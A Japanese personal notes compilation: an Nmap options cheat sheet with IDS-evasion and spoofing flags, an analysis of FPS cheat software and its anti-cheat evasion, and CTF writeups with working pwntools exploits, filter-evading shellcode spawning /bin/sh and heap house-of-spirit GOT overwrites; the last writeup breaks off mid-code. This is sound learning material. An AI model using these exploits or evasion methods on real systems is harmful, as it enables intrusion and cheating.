Nmap option
Nmap option
自分用に、公式サイト見た方がいい
Options
Target Specification
-iL <inputfilename>
ファイルに記載されているホスト、ネットワークをターゲットとして指定する
-iR <num hosts>
指定された数だけランダムにピックアップしてスキャン
--exclude <host1[,host2][,host3],...>
除外するホスト、ネットワーク
--excludefile <exclude_file>
ファイルに記載されているホスト、ネットワークを除外する
Host Discovery
-sL
スキャンするホストをリストアップする、スキャンはまだしない
-sn
pingだけしてポートスキャンはしない
-Pn
pingをしないでスキャンを始める
-PS/PA/PU/PY[portlist]
それぞれTCP SYN, TCP ACK, UDP, SCTPでポートスキャンする
-PE/PP/PM
ICMP echo, timestamp, and netmask request discovery
上記のそれぞれのスキャンをする
-PO[protocol list]
tcp, udp, icmpが指定できる、それぞれのプロトコルでスキャン?
-n/-R
DNS解決をしない/するの指定、デフォルトはたまにするsometimesになってる?
--dns-servers <serv1[,serv2],...>
DNSサーバを指定
--system-dns
OSで指定されたDNSを使うように指定
--traceroute
ホストごとにtracerouteする
Scan Techniques
-sS/sT/sA/sW/sM
TCP SYN/Connect()/ACK/Window/Maimon でそれぞれスキャン
- TCP Connect scan
- 3wayハンドシェイクが成立するかどうかで判定するスキャン
- TCP SYN scan
- SYNだけ送ってSYN-ACKが返ってくるかどうかで判定するスキャン
- 最後にRSTを送る
- 高速
- TCP ACK scan
- openかどうかの判定はできないが、ステートフルかどうか、フィルターされてるかどうかを調べるために使う
- ACKだけを送る、正常ならopenでもcloseでもRSTが返ってくるはず
- Window scan
- ACK scanとほぼ同じ
- 特定の実装での挙動の違いを利用してopen/closeの判定をする
- 対象ホストがよく分からないときはあんまり信用しない
- Maimon scan
- このテクニックはNULL, FIN, Xmas scanと同じ
- FIN/ACKを使う
- BSD系のシステムの挙動を判定する
-sU
-sN/sF/sX
TCP Null, FIN, Xmas スキャン
フラグ以外の挙動は一緒でclosedはちゃんと判定できる、openかfilteredかは明確じゃない
- TCP Null scan
- フラグを何もセットしない
- FIN scan
- FINを送る
- Xmas scan
- FIN, PSH, URGをセットする
--scanflags <flags>
TCPスキャンのフラグを指定する
exp. nmap -sS --scanflags SYNFIN -T4 www.google.com
-sI <zombie host[:probeport]>
Idleスキャン
他のホストからのパケットを偽造して送信する
パケットに割り振られるIDの増加を見て直接スキャンせずに状態を判定する
-sY/sZ
SCTP INIT/COOKIE-ECHO スキャン
SCTPはTCPとUDPの特徴を持たせて新しい機能も追加されたプロトコル
INITはTCP SYN scanみたいな感じ
COOKIE-ECHO scanはdropとABORTを返す挙動の違いを使ったスキャン
-sO
IP protocolスキャン
プロトコルヘッダーを順に変えてスキャンする?
厳密にはポートスキャンではない
-b <FTP relay host>
FTP bounce scan
FTPのproxy機能のスキャン
1997年に流行ったものなのでいまはまずない
Port Specification and Scan Order
-p <port ranges>
スキャンするポートの指定
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <port ranges>
スキャンから除外するポート
-F
デフォルトよりも少ないポートをスキャンするファストモード
-r
順番にスキャンする、ランダム化しない
--top-ports <number>
よくある順に指定した数だけスキャン
--port-ratio <ratio>
よくある度で指定してスキャン、使いにくそう
Service/Version Detection
-sV
サービスとバージョンを調べる
--version-intensity <level>
0~9でどれぐらい調査するか指定できる、9は全ての調査をする
--version-light
level 2の調査をする
--version-all
全ての調査をする、level 9と同じ
--version-trace
スキャンで何をしたか表示する、Debug用
Script Scan
-sC
--script=default
と同じ
--script=<Lua scripts>
スキャンに使うLuaスクリプトを指定する
規定の位置にあるスクリプトファイルの名前や、ディレクトリ、カテゴリなど様々な方法で指定できる
--script-args=<n1=v1,[n2=v2,...]>
スクリプトに渡す引数
--script-args-file=filename
ファイル中の値を引数として渡す
--script-trace
送信データと受信データを表示
--script-updatedb
スクリプトデータベースを更新する
--script-help=<Lua scripts>
スクリプトのヘルプを表示する
OS Detection
-O
OS識別を有効にする
--osscan-limit
OS識別を制限する
--osscan-guess
強めにOSの推測をする
Timing and Performance
<time>
には時間を指定できる、末尾でms, s, m, hの指定ができる
-T<0-5>
タイミングのテンプレート、5が一番速い
--min-hostgroup/max-hostgroup <size>
並列スキャンするホストの分割サイズ
--min-parallelism/max-parallelism <numprobes>
調査の並列数
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>
調査のrount trip time
--max-retries <tries>
ポートスキャンの調査のリトライ数
--host-timeout <time>
ホストのタイムアウト検知時間
--scan-delay/--max-scan-delay <time>
調査ごとのインターバル
--max-rate/--min-rate <number>
パケット送信の最大/最低レート、一秒間に指定した数送信する
Firewall/IDS Evasion and Spoofing
-f; --mtu <val>
パケット分割数
-D <decoy1,decoy2[,ME],...>
デコイとなるホストを指定し、複数ホストからのスキャンとみせかけられる?
-S <IP_Address>
ソースアドレスの偽装
-e <iface>
インターフェースの指定
-g/--source-port <portnum>
指定したポートでスキャン
--proxies <url1,[url2],...>
HTTP/SOCKS4プロキシを指定して、そこを経由してスキャンする
--data <hex string>
データを指定しパケットに追加する
--data-string <string>
ASCII文字列としてパケットにデータを追加
--data-length <num>
指定された長さまでランダムなデータを追加
--ip-options <options>
IPオプションを指定
--ttl <val>
TTLの指定
--spoof-mac <mac address/prefix/vendor name>
MACアドレスを偽装
--badsum
checksumを不正なものにする
Output
-oN/-oX/-oS/-oG <file>
出力形式を指定してファイルに書き出す
通常、XML、leet、grepable
-oA <basename>
メインの3つのフォーマットで出力する
-v
逐次的に出力する、vの数でレベルが上がる
-d
デバッグ出力指定、dの数でレベルが上がる
--reason
ポート判定の理由を表示してくれる
--open
openなポートだけ表示する
--packet-trace
送信、受信のパケットを全て表示
--iflist
インターフェース、 ルートを表示、デバッグ用
--append-output
指定のファイルになんか出力する??
--resume <filename>
中止されたスキャンの情報を保存する?
--stylesheet <path/URL>
XMLをHTMLに変換するためのXLSファイルへのパス?
--webxml
Nmap.orgのxml変換のためのスタイルシート?
--no-stylesheet
XSLファイルを参照して変換しないように指定
Misc
-6
IPv6
-A
OS識別、バージョン識別, スクリプト, traceroute
--datadir <dirname>
Nmapのデータディレクトリを指定する
--send-eth/--send-ip
生のeth、ipのパケットフレームを使う
--privileged
ユーザに特権があることを保証する
--unprivileged
生ソケットを触れない権限であることを保証する
-V
バージョン情報
-h
ヘルプ
FPSのチートソフトを解析した話
FPSのチートプログラムを解析した
- 結論
- アンチチートの人達大変そう
- 中国人やべーな
経緯
なぜそんなことになったかというと、特に理由はなくひょんなことからチートプログラムを手に入れる機会があったのでせっかくだから解析してみるかとなったからです。 そこから現在のチート検知がどのような手法を使って検知しているか、チートを防ぐのがどの程度困難なのかが分かっておもしろかったので、書き残しておこうと思います。
チートの内容
4つのチートが手に入ったのですが、そのうち2つはバージョンが違う同一のものらしいので実質3つです。 そして、そのうち1つがC++で実装されたオートエイム機能があるもので、バイナリのみがあります。 他の2つはアンチリコイルのチートで、ほぼ同じ実装になっており、AutoHotKeyを利用したものでした。
説明するまでもないですが、オートエイムは敵を発見次第自動的に照準を移動させ、敵に照準を合わせ続けるチートで、アンチリコイルは銃の反動をほぼないことにするチートです。
なお、これらのプログラムの動作自体は検証していないので(BANされたくないし)、実際は動作しなかったりBANされたりする程度のものかもしれないです。
オートエイム
C++で書かれたプログラムで、解析対策は一切行われていなかったのでとても解析しやすかったです。 マルウェアと違ってチートは対策側の手に渡ることを必ずしも想定しなくてもいいからでしょうか。 イタチごっこが進んでよりチートが稼げるようになるとその辺の事情も変わってきそうですね。
このチートはAIを使ったチートと銘打たれており、実際画像認識を使用していました。 使われていたのはYoloXという手法の物体認識をする機械学習モデルのようで、こちらのライブラリを使用しているようでした。 画面全体をWindowsのAPIを経由してDevice Contextを取得し、そこから画面全体をBitmapとして取得します。 そのBitmapを学習モデルに識別させて対戦相手を認識しているようでした。 その後、NtCreateFileでGHUBのドライバへの制御を取得し、ドライバに対してマウスカーソルを動かす操作をしてエイムを合わせるようになっているようです。
この手法の巧妙なところは、ゲームプログラム自体には一切タッチせずにエイムすべき箇所を識別し、エイム操作をしているところです。 従来のチートでは、ゲームプロセスそのものもにアクセスしたりパケットをキャプチャしたりしてゲームシステム上の情報を取得し、エイムすべき箇所を取得していたようです。 あるいは、Windowsに存在するAPI越しに操作をすることで様々な動きを実現していたと思われます。 つまりアンチチートソフトとしてはゲームのデータを取得しようとする動きや、マウスやキーボードのような機能へのアクセスだけ検知すればよかったのです。 しかし、今回解析したチートの手法はこのような方針では検知できないように思えます(最初に言ったとおり検証していないので普通に検知してくるかもしれないです)。 ゲームプロセスにはアクセスしないため、アンチチートソフトには画面を直接取得する操作と、マウスメーカーのドライバが何らかの機能を発揮していることしか分かりません。 もちろんチートソフトのプロセスをことこまかに観察するようにすれば怪しいと分かりますが、全てのプロセスを厳密にリアルタイムで解析できるかは疑問です。 実際には全然可能かもしれないですが、実際に検知させるわけにもいかないのでそのあたりの判断は難しいです。
ならば画面のキャプチャをしたりする動作や、マウスなどを動かすような動作を検知すればいいではないかとなるかもしれませんが、これには問題があります。 もしそのような基準にした場合、画面のキャプチャをするソフトはチートではありませんがチートとして誤検出されてしまう恐れがあります。 そもそもゲーム配信をする場合はそもそも画面を取得することが前提です。 そういったソフトを一律に禁止するのは不可能でしょうし、画面のキャプチャといった一般的な挙動を基準にするのは難しそうです。 また、まったく正当なソフトウェアを禁止にすればユーザから反発がありますし、他の企業に対する営業妨害にすらなりえます。 例えば、「Logitechのドライバが入っていたらVarolantが起動しないようにしました」ということになったら、Logitechの売上に影響する可能性は否定できないでしょう。
また、公式なメーカーから出されたドライバ越しにカーソルを操作するというのも検知がやや難しそうです。 そういったソフトウェアがマウスに対してある程度の操作を加えるのはありえそうです。 振動や手ぶれへの補正はどうなっているのでしょうか?今後調べてみるのも面白そうです。 こうした公式メーカーのドライバやソフトウェアというのは無数にありそうですし、そういったドライバへの操作を完璧に検知するというのは難しそうです。 ましてや公式メーカー以外に出されているものも多くあり、その使用を制限する正当性はありません。 というよりそもそも、そういった方針でチートを防ぎたいのならコンシューマー機向けに開発すればよいのです。 ただしそうなるとPCシェアの巨大さにタダ乗りした非常に多いユーザ数というメリットは失われます。
オートエイムについては解析した結果以上のようなことが分かりました。 完璧に解析しきったらもう少し技術的に詳細にしてもいいかもしれません。
アンチリコイル
こちらはもっと簡単に実装されていて、AutoHotkeyのスクリプトとして主に実装されていました。 hyde.dllというプロセス隠蔽ライブラリを利用してプロセスを隠蔽することで検知を免れているようです。 ゲームにおける各武器ごとの反動パターンがほぼ固定である場合、その武器を発射するたびにその反動パターンと逆にカーソルを動かせば無反動になるという理屈で実現していました。 武器の判定は画面上における色の分布で判定していて、カーソルを動かす操作自体は外部ライブラリにて実装しているようです。 mouse_event経由でカーソルをコントロールしているようで、若干検知されそうな感じがします。 AutoHotkeyはDLLの関数を呼び出す機能があるため、簡単なスクリプトで複雑な機能を呼び出すことができます。 特徴的なのは、音声による読み上げで情報を渡している点です。 配信者や画面共有のさいにバレずに情報を受け渡すためには最良の方法かもしれません。
こちらはやや検知しやすそうなものの、手軽で労力がかかっていません。 反動パターンなどの資料はたいしてアンダーグラウンドでもないようなコミュニティで共有されているようです。 探せばすぐ見つかりますが、探せばすぐに見つかるので載せないようにします。
賢明ならば分かることですが、AutoHotkeyやhyde.dllは正当な目的のために使える正当なソフトウェアであり、チートソフトなどではありません。 あくまでその上で動作したり呼び出したりするスクリプトがチートソフトなのです。 それらを使用不可能にしようとしたり制限しようとする愚かな人間が後を断たないので注意事項として書いておくことにします。
その他の情報
これらのチートのうち、ひとつはおおよそ作者と思われる存在を見つけることに成功しました。 こちらのリポジトリとコードが一致した。
探せばすぐ見つかりますが、探せばすぐに見つかるので載せないようにします。
とは言ったものの、これに関しては「Apex Cheat」で検索すればすぐに出てくる程度のものであるのでどうせだしちょい出ししておくことにします。 アンチリコイルはまだ影響の少ない方のチートだからというのもありますが、結局は言い訳ですね。
さて、こちらの作者なのですが、驚くことに名前や住所、メールアドレス、所属する会社まで公開しています。 それによると中国在住のようです。 もちろんGitHubに登録できる情報というのは個人が勝手に登録したものであり、その真正性をまったく保証しないものです。 しかし、登録されている会社はオフィシャルなリポジトリを所有しているため、まったく関係のないアカウントが所属登録した場合に通知がいくのではないかと思われます。 この点については仕様をろくに知らないので判断ができませんでした。 とはいえ、おおよそ正しいのではないかという気もします。 向こうではこういった行為はかなり受け入れられているのかもしれません。
以上です。
SECCON Beginners CTF 2019 Writeup
SECCON Beginners CTF 2019 Writeup
忙しくてCTFしてなかったので復帰戦、全然駄目になっていた。
解けたのは
- Rev
- Seccompare
- Leakage
- Linear Operation
- Crypto
- So Tired
- Party
- Misc
- containers
- Dump
だけ、1日目から8時間くらいやってあとはあきてしまった。 pwnが解けてないのほんと駄目。
以下Writeup。
[Rev] Seccompare
単純にstrcmpでフラグと比較しているので簡単に解けた。 ltraceを使ったけどstringsとか静的解析でもすぐ分かると思う。
[Rev] Leakage
解析してみると内部で難読化したフラグを一文字ずつ復号して比較する処理をしていた。 デバッガを使って文字の比較を誤魔化してやれば一文字ずつフラグが復号される。 それか一文字ずつ特定して一文字ずつ入力を合わせていってもいい、手間はあまり変わらない。
[Rev] Linear Operation
入力した文字列を、かなり面倒くさそうな変換処理で変換して比較している。 angrを使った、こういうときに便利。使い方がまったく分からないから勉強しないと...
コードは以下。
import angr p = angr.Project('./linear_operation') state = p.factory.entry_state() simgr = p.factory.simulation_manager(state) trg_addr = 0x0040cf78 avoid_addr = [0x0040cf86, 0x0040cbb0, 0x0040cbb6, 0x0040cbbc, 0x0040cbc2, 0x0040cbc8, 0x0040cbce, 0x0040cbd4, 0x0040cbda, 0x0040cbe0, 0x0040cbe6, 0x0040cbec, 0x0040cbf2, 0x0040cbf8, 0x0040cbfe, 0x0040cc04, 0x0040cc0a, 0x0040cc10, 0x0040cc16, 0x0040cc1c, 0x40cc22, 0x40cc28, 0x40cc2e, 0x40cc34, 0x40cc3a, 0x40cc40, 0x40cc46, 0x40cc4c, 0x40cc52, 0x40cc58, 0x40cc5e, 0x40cc64, 0x40cc6a, 0x40cc70, 0x40cc76, 0x40cc7c, 0x40cc82, 0x40cc88, 0x40cc8e, 0x40cc94, 0x40cc9a, 0x40cca0, 0x40cca6, 0x40ccac, 0x40ccb2, 0x40ccb8, 0x40ccbe, 0x40ccc4, 0x40ccca, 0x40ccd0, 0x40ccd6, 0x40ccdc, 0x40cce2, 0x40cce8, 0x40ccee, 0x40ccf4, 0x40ccfa, 0x40cd00, 0x40cd06, 0x40cd0c, 0x40cd12, 0x40cd18, 0x40cd1e, 0x40cd24] simgr.explore(find=trg_addr, avoid=avoid_addr) state = simgr.found[0] print(state.posix.dumps(0))
大量にある外れの分岐を探すのが一番面倒くさかった。
TODO: Radare2のマウスクリックでランダムな機能が実行される不具合の原因を特定する。
[Crypto] So Tired
zlibとbase64を繰り返し適用してるだけ、最初base64じゃないと思って無駄に時間を使った。 Pythonで解いた。
import base64 import zlib base64_txt = '' with open('encrypted.txt') as f: base64_txt = f.read() try: while True: base64_txt = zlib.decompress(base64.b64decode(base64_txt)) except Exception as e: print(base64_txt)
[Crypto] Party
暗号化処理をしているコードを見ると、秘密情報であるcoeff
の3つの値を変数とした連立方程式が作れることが分かる。
party = [p1, p2, p3], coeff = [c1, c2, c3], val = [v1, v2, v3]
とした場合、暗号化処理は次のようになる。
v1 = c1 + c2 * p1 + c3 * p1 * p1 v2 = c1 + c2 * p2 + c3 * p2 * p2 v3 = c1 + c2 * p3 + c3 * p3 * p3
val, party
は既知なので、c1, c2, c3
に関する3つの一次方程式が存在することになるので、あとは解くだけである。
桁が大きすぎて計算が面倒なのでPythonにやらせた。sympy便利。
import sympy from Crypto.Util.number import long_to_bytes [(x1, y1), (x2, y2) , (x3, y3)] = [(5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787, 222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933), (3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473, 81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075), (6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379, 340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125)] c1 = sympy.Symbol('c1') c2 = sympy.Symbol('c2') c3 = sympy.Symbol('c3') expr1 = c1 + c2 * x1 + c3* x1 * x1 - y1 expr2 = c1 + c2 * x2 + c3* x2 * x2 - y2 expr3 = c1 + c2 * x3 + c3* x3 * x3 - y3 flag_num = sympy.solve([expr1, expr2, expr3])[c1] print(flag_num) print(long_to_bytes(flag_num))
[Misc] containers
Welcomeは問題じゃないので飛ばす。 Dockerのコンテナか何かかと思ったけど、どうも違うらしいので適当に抽出した。 作者っぽい人のツイート見る限りではオリジナルらしい?
foremost使った。
16進数値のクソ長いフラグを画像ごとにバラして答えとするのは悪い例だと思いますが。
ある程度意味のある文字列にしないと無駄に入力ミスするし順番の勘違いもしやすいし、コピペできない形式なら非推奨だってCTFの手引きに書いてある。
大人しくctf4b{th1s_1s_th3_fl4g}
みたいな形式にすれば良かったと思う、他の問題だとそういうフラグあったし。
[Misc] Dump
pcapファイル渡される、httpで通信してるっぽいので通信しているデータをwiresharkで取り出す。 webshellを使ってshで命令を実行、httpで結果を返信してるらしい。 命令を見てみるとflagをhexdumpで出力してるらしいので、単純にデコードする。 コードは以下。
dump_txt = '' with open('hexdump.txt', 'r') as f: dump_txt = f.read() dump_line = [line for line in dump_txt.split('\n') if line != ''] dump_str = [ch for ch in ' '.join(dump_line).split(' ') if ch != ''] dump = [int(ch, 8) for ch in dump_str] with open('recovery.bin', 'w') as f: f.write(''.join([chr(i) for i in dump]))
jpgらしいので画像として開いてフラグゲット。
[Pwn] shellcoder
終わったあとに解いた、送信したデータをそのまま実行するらしいのでシェルを起動するだけ。
だけなのだが"binsh"が含まれていると実行されないのと0x28バイトしか入力できない。
これらの制約を満すシェルコードを作る必要がある。
"binsh"については上位4bitと下位4bitを互い違いに加算するようにすれば誤魔化せる、長さは上手いこと調節したり。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './shellcoder' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('153.120.129.186', 20000) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== import time io = start() forbidden_chars = set('binsh') shellcode = ''' /* push '/bin///sh\x00' */ xor rax, rax mov rdx, rax mov rsi, rax push rax mov al, SYS_execve /* 0x3b */ mov rbx, 0x6070202060606020 mov rcx, 0x08030f0f0e09020f add rbx, rcx push rbx push rsp pop rdi syscall ''' payload = asm(shellcode) if len(payload) > 0x28: print("Length over: {:x}".format(len(payload))) exit(1) chrs = set(payload) if len(chrs.intersection(forbidden_chars)) != 0: print(chrs.intersection(forbidden_chars)) exit(1) if args.DEBUG: time.sleep(3) io.sendline(payload) io.interactive()
久しぶり過ぎて色々忘れていて面倒だった。
Heap exploitation Hack.lu CTF 2014: OREO
Heap exploitation Hack.lu CTF 2014: OREO
How2Heapシリーズの続き、とうとうhouse of spiritまで来た。
house of spirit自体の解説はhttps://github.com/shellphish/how2heap、問題はhttps://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreoにある。
Writeupはなしで解けた!
問題
fileとchecksecは以下。
oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
x86でセキュリティ機構は普通。
Rifleを購入するプログラムになっていて、名前や説明の入力をして注文したり、メモのようなものを残すことができる。
解析
Radareで解析してマニュアルデコンパイルしたコードは以下。
#include <stdio.h> #include <stdlib.h> #include <string.h> void main_loop(); int read_input_num(); void check_last_char(char* buf); void add_rifle(); void show_rifle(); void order_rifle(); void leave_msg(); void show_status(); // size 0x38 struct tmp_st { char description[0x19]; char name[0x1b]; // 0x19 struct tmp_st *next; // 0x34 }; struct tmp_st* head_ptr; // 0x804a288 int order_count; // 0x804a2a0 int list_count; // 0x804a2a4 char *msg; // 0x804a2a8 char global_buf[0x80]; // 0x804a2c0 int main(int argc, char** argv){ // print welcome // initialize list_count = 0; order_count = 0; msg = global_buf; main_loop(); return 0; } void main_loop() { // show menu while(1) { switch(read_input_num()) { case 1: add_rifle(); break; case 2: show_rifle(); break; case 3: order_rifle(); break; case 4: leave_msg(); break; case 5: show_status(); break; case 6: return; default: break; } } } int read_input_num() { char buf[0x20]; int num; while(1) { // print action fgets(buf, sizeof(buf), stdin); if(sscanf(buf, "%u", &num) != 0) { return num; } } } void check_last_char(char* buf) { char* local_buf = buf; char* last = local_buf + strlen(local_buf) - 1; if(last >= buf && *last == '\n') { *last = '\0'; } return; } void add_rifle() { // local_10h = [0x804a288] struct tmp_st* tmp = head_ptr; head_ptr = malloc(sizeof(struct tmp_st)); if(head_ptr == NULL) { // print error return; } head_ptr->next = tmp; // rifle name fgets(head_ptr->name, 0x38, stdin); // sizeof(struct tmp_st)? check_last_char(head_ptr->name); // description fgets(head_ptr->description, 0x38, stdin); check_last_char(head_ptr->description); list_count++; return; } void show_rifle() { // printf struct tmp_st* head = head_ptr; while(head != NULL) { // print head->name // print head->description head = head->next; } return; } void order_rifle() { struct tmp_st* head = head_ptr; if(list_count == 0) { // no rifle return; } while(head != NULL) { struct tmp_st* tmp = head; head = head->next; free(tmp); } head_ptr = NULL; order_count++; return; } void leave_msg() { // enter notice fgets(msg, 0x80, stdin); return; } void show_status() { // print list_count // print order_count if(msg[0] != '\0') { // print msg } return; }
ちょっと整理されてない。
add_rifle
に脆弱性があり、バッファのサイズを指定するべき場所に構造体tmp_st
のサイズが指定されているため、ヒープ上でのバッファオーバーフローが存在している。
よってtmp_st.name
から0x38だけ任意の値に書き換えられる、例えばnext
とか。
これによりリンクリストの次の領域を任意のアドレスに指定できるので、任意の領域をfree
することができる。
解法
house of spirit
簡単に説明すると、chunkと同じように値を設定してやることでheap領域以外をfreeしてfastbinsに繋ぐ攻撃である。
こうすることで任意の領域をmallocに返させて、値を書き込んだりできるようになる。
house of spiritを使うことは分かっているので、それを意識して考えてみた。
すると、グローバル変数の値を適切に設定してやれば、ヒープオーバーフローでfree
させられそうだと思い付いた。
どこが書き換えられると嬉しいかを考えると、leave_msg
で任意の入力を書き込めるchar* msg
あたりをmalloc
で返したい。
そこで、msg
の上のlist_count
にサイズを設定しmsg
をfree
することで、次のadd_rifle
で指しているアドレスを改ざんできるようにすることを目指した。
house of spiritによりadd_rifle
でアドレスを改ざんできるようになったので、書き換えるべきアドレスを探した。
GOTを書き換えられるので、ユーザの入力を受け取る標準関数sscanf
を書き換えることにした。
libcのバージョンを特定する必要があったため2つ以上の関数のアドレスをリークさせる必要があるがsscanf
は一番最後の領域にあったため直接sscanf
を指すようにしてしまうとうまくlibcのリークとGOTの書き換えが両立できない。
そこで、ひとつ上のlibc_main
を指定してリークと書き換えが1度にできるようにした。
exploit
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='i386') exe = './oreo' libc = './libc6_2.23-0ubuntu10_i386.so' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) def add_rifle(name, desc): io.sendline('1') io.sendline(name) io.sendline(desc) return def show_rifle(): sep = '===================================' io.sendline('2') io.recvuntil(sep) return io.recvuntil(sep).replace(sep, '') def order_rifle(): io.sendline('3') return def leave_msg(notice): io.sendline('4') io.sendline(notice) return def show_status(): io.sendline('5') io.recvuntil('======= Status =======') sep = '======================' return io.recvuntil(sep).replace(sep, '') log.info('Exploit Start!') # 最初にオーバーフローを利用して、 log.info('Overwrite next ptr by overflow.') # set 0x41 order count for chunk size field. for i in range(0x41 - 1): # -1 for additional add_rifle add_rifle('A' * 4, 'B' * 4) log.info('Create fake chunk.') # Fake chunk layout # order_count: prev_size # list_count: user_data, size # msg: 4 # space: 0x18 # global_buf: 0x34 - 0x18 + NULL + prev_size + size global_buf_addr = 0x804a2c0 order_count_addr = 0x804a2a0 list_count_addr = 0x804a2a4 log.info("Firstly, overwrite tmp_st.next to msg (list_count_addr + 4).") payload = 'C' * 0x1b # padding payload += p32(list_count_addr + 0x4) # prev_sizeとsizeの分だけずらして設定する add_rifle(payload, 'D' * 4) payload = 'E' * (0x34 - 0x18) # char* msgとパディング分をスキップ payload += '\0' * 4 # nextをNULLに payload += 'H' * 4 # prev_sizeを適当に payload += p32(0x41) assert (len(payload) <= 0x80) leave_msg(payload) order_rifle() # fastbinにorder_countのアドレスが繋がれる log.info('Overwrite msg.') # descriptionに書き込んでmsgをfree@GOTを指すように書き換える # chunkがorder_countを指しているので、mallocで返ってくるのはmsgになる log.info('Leak libc function address') # libcを特定ために2つの関数アドレスをリークする必要がある # sscanfを書き換えられる必要がある # なのでlibc_start_mainからリークさせる payload = p32(elf.got['__libc_start_main']) add_rifle('IIII', payload) status = show_status().split('\n')[-2].replace('Order Message: ', '') libc_main_addr = u32(status[:4]) sscanf_addr = u32(status[4:8]) log.info('__libc_start_main@GOT: 0x{:x}'.format(libc_main_addr)) log.info('__isoc99_sscanf@GOT: 0x{:x}'.format(sscanf_addr)) log.info('Now, you can get libc from libc database.') log.info('Overwrite sscanf to system.') libc = ELF(libc) libc_base = sscanf_addr - libc.symbols['__isoc99_sscanf'] log.info('libc base: 0x{:x}'.format(libc_base)) system_addr = libc.symbols['system'] + libc_base leave_msg('J' * 4 + p32(system_addr)) # これでsscanfがsystemになる # 数値読み取りに渡される文字列に/bin/shを指定することでsystemでシェル起動 io.sendline('/bin/sh' + '\0') io.interactive()
まとめ
時間はかかったけど自力で解けたので嬉しい。 だんだんコツが分かってきた。
# Heap exploitation Insomni'hack 2017 Wheel of Robots
Heap exploitation Insomni'hack 2017 Wheel of Robots
Heap exploitationのお勉強、Writeup見ちゃった。
問題はここ。
参考にしたのはshellphishのhow2heap。
問題
実行ファイルだけ降ってくる。
解くのにlibcが必要になるが、途中で任意アドレスの読み出しができるようになるので、ライブラリ関数のアドレスからlibcのバージョンが特定できるはず。
こことか使える。
wheel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc05ccf7a4657427fa4e2d78, stripped Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
普通のx64といった感じ。
解析
直接実行してみると、malloc、free、read、writeができるっぽい感じだと分かる。
リバーシングしてみると、いくつか脆弱性を含んでいることが分かる。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <string.h> void gotohell(int id); void initialize(); int read_menu_num(char* buf, int len); void add_robot(); void del_robot(); void change_name_robot(); void start_robot(); void show_buf(char* buf); // wheel menu // 1. Tinny Tim // 2. Bender // 3. Robot Devil // 4. Chain Smoker // 5. Billionaire Bot // 6. Destructor char* chain_smoker; // 0x6030e0 char* destructor; // 0x6030e8 char* bender; // 0x6030f0 char* tinny_tim; // 0x6030f8 char* robot_devil; // 0x603100 char* billionaire_bot; // 0x603108 char menu_num_buf[4]; // 0x603110 int bender_flg; // 0x603114 int chain_smoker_flg; // 0x603118 int destructor_flg; // 0x60311c int tinny_tim_flg; // 0x603120 int robot_devil_flg; // 0x603124 int billionaire_bot_flg; // 0x603128 int use_count; // 0x603130 int intel; // 0x603138 int cruelty; // 0x603140 int powerful; // 0x603148 int main(int argc, char** argv) { setvbuf(stdout, NULL, 2, 0); setvbuf(stdin, NULL, 2, 0); initialize(); // show_title(); while(1) { // show_menu(); // 1. Add a robot on wheel // 2. Delete a robot on wheel // 3. Change a robot's name // 4. Start the Wheel Of Robots // show dialog memset(menu_num_buf, 0, sizeof(menu_num_buf)); int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf)); switch(menu_num) { case 1: add_robot(); break; case 2: del_robot(); break; case 3: change_name_robot(); break; case 4: start_robot(); break; default: break; } } return 0; } void initialize() { int random_fd = open("/dev/urandom", 0); long long num; read(random_fd, &num, 8); close(random_fd); srand(num); setvbuf(stdout, NULL, 2, 0); signal(0xe, gotohell); // alarm(0x3c); // temporary off return; } void gotohell(int id) { puts("Go to Hell!!!\n"); exit(1); } int read_menu_num(char* buf, int len) { char* lbuf = buf; int llen = len; int read_num = read(0, lbuf, llen); if(read_num > 0) { return atoi(lbuf); } 